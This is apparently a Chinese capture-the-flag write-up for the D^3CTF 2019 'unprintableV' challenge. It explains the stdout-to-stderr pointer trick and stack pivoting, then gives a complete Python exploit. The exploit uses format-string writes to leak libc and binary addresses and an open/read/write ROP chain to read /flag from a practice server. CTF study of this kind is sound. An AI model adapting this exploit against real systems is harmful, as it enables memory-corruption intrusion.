知识点

  • ROP
  • stdout指针与stderr指针
  • 栈迁移
  • 格式化字符串漏洞

分析

  1. 关闭了标准输出,可以利用给的栈地址修改bss段上的stdout指向stderr
  2. 格式化字符串漏洞泄露libc地址和text段地址
  3. 打一个栈迁移,当然也可以直接在栈上写rop链

细节

  • 更改stdout的指针后需要输入一段无意义的字符串再触发格式化字符串漏洞进行泄露,猜测是刷新一下缓冲区之类的。
  • 因为文件描述符1被关闭,所以打开文件时的文件描述符为1而不是以往的3

exp

#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *

context(arch='amd64', os='linux', log_level='debug')

# cli_script()

def exploit():
    ru(b'0x')
    stack_addr = int(r(12), 16)

    # libc->15
    # 6->10
    tmp = stack_addr + 0x3a0
    payload = '%' + str(stack_addr & 0xff) + 'c%6$hhn'
    payload = payload.ljust(0x12c - 1, '\x00')
    sla(b"may you enjoy my printf test!", payload)

    sleep(0.1)
    payload = '%' + str(0x20) + 'c%10$hhn'
    payload = payload.ljust(0x12c - 1, '\x00')
    sl(payload)

    sleep(0.1)
    payload = '%' + str(libc.symbols['_IO_2_1_stderr_'] & 0xfff) + 'c%9$hn'
    payload = payload.ljust(0x12c - 1, '\x00')
    sl(payload)

    payload = 'aaaaa'.ljust(0x12c - 1, '\x00')
    sl(payload)

    # leak libc
    sleep(0.1)
    payload = '%15$p'
    sl(payload)
    ru(b'0x', timeout=0.5)
    set_current_libc_base_and_log(int(r(12), 16), libc.symbols['__libc_start_main'] + 231)

    # leak text
    payload = '%7$p'
    sl(payload)
    ru(b'0x')
    text_base = int(r(12), 16) - 0xafb
    log_address("text_base : ", text_base)
    buf_addr = text_base + 0x202060

    pop_rdi = libc.address + 0x2155f
    pop_rsi = libc.address + 0x23e6a
    pop_rdx = libc.address + 0x01b96
    leave_ret = text_base + 0xB22

    rbp_addr = stack_addr + 0x28

    def writepop(idx, data):
        for i in range(6):
            tmp = rbp_addr + idx * 8 + i

            sleep(0.1)
            payload = '%' + str(tmp & 0xff) + 'c%6$hhn'
            payload = payload.ljust(0x12c - 1, '\x00')
            sl(payload)
            sleep(0.1)
            payload = '%' + str((data >> (8 * i)) & 0xff) + 'c%10$hhn'
            payload = payload.ljust(0x12c - 1, '\x00')
            sl(payload)

    # stack migration
    writepop(0, buf_addr)
    writepop(1, leave_ret)

    # recover
    payload = '%' + str(rbp_addr & 0xff) + 'c%6$hhn'
    payload = payload.ljust(0x12c - 1, '\x00')
    sl(payload)

    # rop
    sleep(0.2)
    payload = b'a' * 8 + p64_ex(pop_rdi) + p64_ex(buf_addr + 0xa0) + p64_ex(pop_rsi) + p64_ex(0) + p64_ex(
        libc.symbols['open'])
    payload += p64_ex(pop_rdi) + p64_ex(1) + p64_ex(pop_rsi) + p64_ex(buf_addr + 0x300) + p64_ex(pop_rdx) + p64_ex(
        0x50) + p64_ex(libc.symbols['read'])
    payload += p64_ex(pop_rdi) + p64_ex(2) + p64_ex(pop_rsi) + p64_ex(buf_addr + 0x300) + p64_ex(pop_rdx) + p64_ex(
        0x50) + p64_ex(libc.symbols['write'])
    payload += b'/flag\x00'
    sl(payload)

    # break

    sleep(0.2)
    sl("d^3CTF")

for i in range(0x20):
    try:
        io = gift['io'] = remote('node4.buuoj.cn', 26936)
        # io = gift['io'] = process('./d3ctf_2019_unprintablev')
        libc = gift['libc'] = ELF('./libc-2.27.so')
        exploit()
        ia()
    except:
        ic()

参考

2019 D^3CTF unprintableV详细题解



追求现实的理想主义者。